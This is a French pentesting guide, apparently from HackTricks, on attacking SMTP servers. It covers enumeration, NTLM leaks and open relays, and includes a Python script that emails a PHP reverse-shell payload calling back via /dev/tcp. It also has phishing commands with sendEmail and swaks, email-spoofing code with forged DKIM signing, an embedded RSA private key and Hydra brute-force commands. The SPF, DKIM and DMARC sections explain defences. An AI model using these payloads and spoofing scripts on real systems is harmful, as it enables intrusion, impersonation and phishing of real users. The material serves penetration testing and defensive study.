25,465,587 - Pentesting SMTP/s

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Informations de base

Le Simple Mail Transfer Protocol (SMTP) est un protocole utilisé dans la suite TCP/IP pour l'envoi et la réception d'e-mails. En raison de ses limitations dans la mise en file d'attente des messages à l'extrémité du destinataire, SMTP est souvent utilisé avec POP3 ou IMAP. Ces protocoles supplémentaires permettent aux utilisateurs de stocker des messages sur une boîte aux lettres serveur et de les télécharger périodiquement.

Dans la pratique, il est courant que les programmes de messagerie utilisent SMTP pour envoyer des e-mails, tout en utilisant POP3 ou IMAP pour les recevoir. Sur les systèmes basés sur Unix, sendmail se distingue comme le serveur SMTP le plus fréquemment utilisé à des fins de messagerie. Le package commercial connu sous le nom de Sendmail comprend un serveur POP3. De plus, Microsoft Exchange fournit un serveur SMTP et offre la possibilité d'inclure un support POP3.

Port par défaut : 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

EMAIL Headers

Si vous avez l'opportunité de faire envoyer un email à la victime (via le formulaire de contact de la page web par exemple), faites-le car vous pourriez apprendre sur la topologie interne de la victime en voyant les en-têtes de l'email.

Vous pouvez également obtenir un email d'un serveur SMTP en essayant de envoyer à ce serveur un email à une adresse inexistante (car le serveur enverra à l'attaquant un email NDN). Mais, assurez-vous d'envoyer l'email depuis une adresse autorisée (vérifiez la politique SPF) et que vous pouvez recevoir des messages NDN.

Vous devriez également essayer de envoyer différents contenus car vous pouvez trouver des informations plus intéressantes dans les en-têtes comme : X-Virus-Scanned: by av.domain.com
Vous devriez envoyer le fichier de test EICAR.
Détecter l'AV peut vous permettre d'exploiter des vulnérabilités connues.

Basic actions

Banner Grabbing/Basic connection

SMTP:

nc -vn <IP> 25

SMTPS:

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Trouver les serveurs MX d'une organisation

dig +short mx google.com

Énumération

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Divulgation d'informations

Si le serveur prend en charge l'authentification NTLM (Windows), vous pouvez obtenir des informations sensibles (versions). Plus d'infos ici.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Ou automatiser cela avec le plugin nmap smtp-ntlm-info.nse

Nom du serveur interne - Divulgation d'informations

Certains serveurs SMTP complètent automatiquement l'adresse d'un expéditeur lorsque la commande "MAIL FROM" est émise sans une adresse complète, divulguant son nom interne :

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Sniffing

Vérifiez si vous pouvez intercepter des mots de passe à partir des paquets vers le port 25

Auth bruteforce

Énumération de bruteforce de nom d'utilisateur

L'authentification n'est pas toujours nécessaire

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Outils automatiques

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

DSN Reports

Rapports de Notification de Statut de Livraison : Si vous envoyez un email à une organisation à une adresse invalide, l'organisation vous informera que l'adresse était invalide en vous renvoyant un mail. Les en-têtes de l'email retourné contiendront des informations sensibles possibles (comme l'adresse IP des services de messagerie qui ont interagi avec les rapports ou des informations sur le logiciel antivirus).

Commands

Envoi d'un Email depuis la console linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>

swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Envoyer un e-mail avec Python

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

SMTP Smuggling

La vulnérabilité SMTP Smuggling permet de contourner toutes les protections SMTP (voir la section suivante pour plus d'informations sur les protections). Pour plus d'informations sur SMTP Smuggling, consultez :

SMTP Smuggling

Contre-mesures contre le spoofing d'email

Les organisations sont empêchées d'avoir des emails non autorisés envoyés en leur nom en utilisant SPF, DKIM et DMARC en raison de la facilité de spoofing des messages SMTP.

Un guide complet sur ces contre-mesures est disponible à https://seanthegeek.net/459/demystifying-dmarc/.

SPF

Sender Policy Framework (SPF) est un mécanisme qui permet aux agents de transfert de mail (MTAs) de vérifier si un hôte envoyant un email est autorisé en interrogeant une liste de serveurs de mail autorisés définis par les organisations. Cette liste, qui spécifie les adresses IP/plages, les domaines et d'autres entités autorisées à envoyer des emails au nom d'un nom de domaine, inclut divers "Mécanismes" dans l'enregistrement SPF.

Mécanismes

D'après Wikipedia:

Il est également possible d'identifier des Qualificateurs qui indiquent ce qui doit être fait si un mécanisme est correspondant. Par défaut, le qualificateur "+" est utilisé (donc si un mécanisme est correspondant, cela signifie qu'il est autorisé).
Vous remarquerez généralement à la fin de chaque politique SPF quelque chose comme : ~all ou -all. Cela est utilisé pour indiquer que si l'expéditeur ne correspond à aucune politique SPF, vous devez marquer l'email comme non fiable (~) ou rejeter (-) l'email.

Qualificateurs

Chaque mécanisme au sein de la politique peut être précédé de l'un des quatre qualificateurs pour définir le résultat prévu :

• + : Correspond à un résultat PASS. Par défaut, les mécanismes supposent ce qualificateur, rendant +mx équivalent à mx.
• ? : Représente un résultat NEUTRAL, traité de manière similaire à NONE (pas de politique spécifique).
• ~ : Dénote SOFTFAIL, servant de terrain d'entente entre NEUTRAL et FAIL. Les emails correspondant à ce résultat sont généralement acceptés mais marqués en conséquence.
• - : Indique FAIL, suggérant que l'email doit être rejeté.

Dans l'exemple à venir, la politique SPF de google.com est illustrée. Notez l'inclusion de politiques SPF de différents domaines au sein de la première politique SPF :

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Traditionnellement, il était possible de falsifier n'importe quel nom de domaine qui n'avait pas de bon/enregistrement SPF. De nos jours, si l'email provient d'un domaine sans enregistrement SPF valide, il sera probablement rejeté/marqué comme non fiable automatiquement.

Pour vérifier le SPF d'un domaine, vous pouvez utiliser des outils en ligne comme : https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM est utilisé pour signer les emails sortants, permettant leur validation par des agents de transfert de mail (MTA) externes grâce à la récupération de la clé publique du domaine à partir du DNS. Cette clé publique se trouve dans l'enregistrement TXT d'un domaine. Pour accéder à cette clé, il faut connaître à la fois le sélecteur et le nom de domaine.

Par exemple, pour demander la clé, le nom de domaine et le sélecteur sont essentiels. Ceux-ci peuvent être trouvés dans l'en-tête de mail DKIM-Signature, par exemple, d=gmail.com;s=20120113.

Une commande pour récupérer ces informations pourrait ressembler à :

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC améliore la sécurité des e-mails en s'appuyant sur les protocoles SPF et DKIM. Il définit des politiques qui guident les serveurs de messagerie dans le traitement des e-mails d'un domaine spécifique, y compris comment gérer les échecs d'authentification et où envoyer des rapports sur les actions de traitement des e-mails.

Pour obtenir l'enregistrement DMARC, vous devez interroger le sous-domaine _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

DMARC tags

Qu'en est-il des sous-domaines ?

De ici.
Vous devez avoir des enregistrements SPF séparés pour chaque sous-domaine à partir duquel vous souhaitez envoyer des e-mails.
Ce qui suit a été initialement publié sur openspf.org, qui était une excellente ressource pour ce genre de choses.

La question démoniaque : Qu'en est-il des sous-domaines ?

Si je reçois un e-mail de pielovers.demon.co.uk, et qu'il n'y a pas de données SPF pour pielovers, dois-je revenir d'un niveau et tester SPF pour demon.co.uk ? Non. Chaque sous-domaine chez Demon est un client différent, et chaque client peut avoir sa propre politique. Il ne serait pas logique que la politique de Demon s'applique à tous ses clients par défaut ; si Demon veut faire cela, il peut configurer des enregistrements SPF pour chaque sous-domaine.

Donc, le conseil aux éditeurs SPF est le suivant : vous devriez ajouter un enregistrement SPF pour chaque sous-domaine ou nom d'hôte qui a un enregistrement A ou MX.

Les sites avec des enregistrements A ou MX génériques devraient également avoir un enregistrement SPF générique, de la forme : * IN TXT "v=spf1 -all"

Cela a du sens - un sous-domaine peut très bien être dans un emplacement géographique différent et avoir une définition SPF très différente.

Open Relay

Lorsque des e-mails sont envoyés, il est crucial de s'assurer qu'ils ne soient pas signalés comme spam. Cela est souvent réalisé grâce à l'utilisation d'un serveur de relais de confiance pour le destinataire. Cependant, un défi courant est que les administrateurs peuvent ne pas être pleinement conscients des plages IP sûres à autoriser. Ce manque de compréhension peut entraîner des erreurs dans la configuration du serveur SMTP, un risque fréquemment identifié lors des évaluations de sécurité.

Une solution de contournement que certains administrateurs utilisent pour éviter les problèmes de livraison d'e-mails, en particulier concernant les communications avec des clients potentiels ou en cours, est de permettre les connexions depuis n'importe quelle adresse IP. Cela se fait en configurant le paramètre mynetworks du serveur SMTP pour accepter toutes les adresses IP, comme indiqué ci-dessous :

mynetworks = 0.0.0.0/0

Pour vérifier si un serveur de messagerie est un relais ouvert (ce qui signifie qu'il pourrait transférer des e-mails de n'importe quelle source externe), l'outil nmap est couramment utilisé. Il inclut un script spécifique conçu pour tester cela. La commande pour effectuer un scan détaillé sur un serveur (par exemple, avec l'IP 10.10.10.10) sur le port 25 en utilisant nmap est :

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Outils

• https://github.com/serain/mailspoof Vérifiez les erreurs de configuration SPF et DMARC
• https://pypi.org/project/checkdmarc/ Obtenez automatiquement les configurations SPF et DMARC

Envoyer un Email Spoof

• https://www.mailsploit.com/index
• http://www.anonymailer.net/
• https://emkei.cz/

Ou vous pourriez utiliser un outil :

• https://github.com/magichk/magicspoofing

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

Ou vous pourriez le faire manuellement :

# Cela enverra un message non signé
mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
msg_data = msg.as_bytes()

# Use local postfix relay to send email
smtp="127.0.0.1"
s = smtplib.SMTP(smtp)
s.sendmail(sender, [destination], msg_data)

Plus d'infos

Trouvez plus d'informations sur ces protections dans https://seanthegeek.net/459/demystifying-dmarc/

Autres indicateurs de phishing

• Âge du domaine
• Liens pointant vers des adresses IP
• Techniques de manipulation de liens
• Pièces jointes suspectes (inhabituelles)
• Contenu d'email cassé
• Valeurs utilisées différentes de celles des en-têtes de mail
• Existence d'un certificat SSL valide et de confiance
• Soumission de la page à des sites de filtrage de contenu web

Exfiltration via SMTP

Si vous pouvez envoyer des données via SMTP lisez ceci.

Fichier de configuration

Postfix

En général, s'il est installé, dans /etc/postfix/master.cf contient des scripts à exécuter lorsque, par exemple, un nouvel email est reçu par un utilisateur. Par exemple, la ligne flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} signifie que /etc/postfix/filtering sera exécuté si un nouvel email est reçu par l'utilisateur mark.

Autres fichiers de configuration :

sendmail.cf
submit.cf

Références

• https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/
• https://www.reddit.com/r/HowToHack/comments/101it4u/what_could_hacker_do_with_misconfigured_smtp/

Commandes Automatiques HackTricks

Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
Port_Number:  25,465,587     #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html

Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25

Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}

Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}

Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587

Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}

Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V

Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'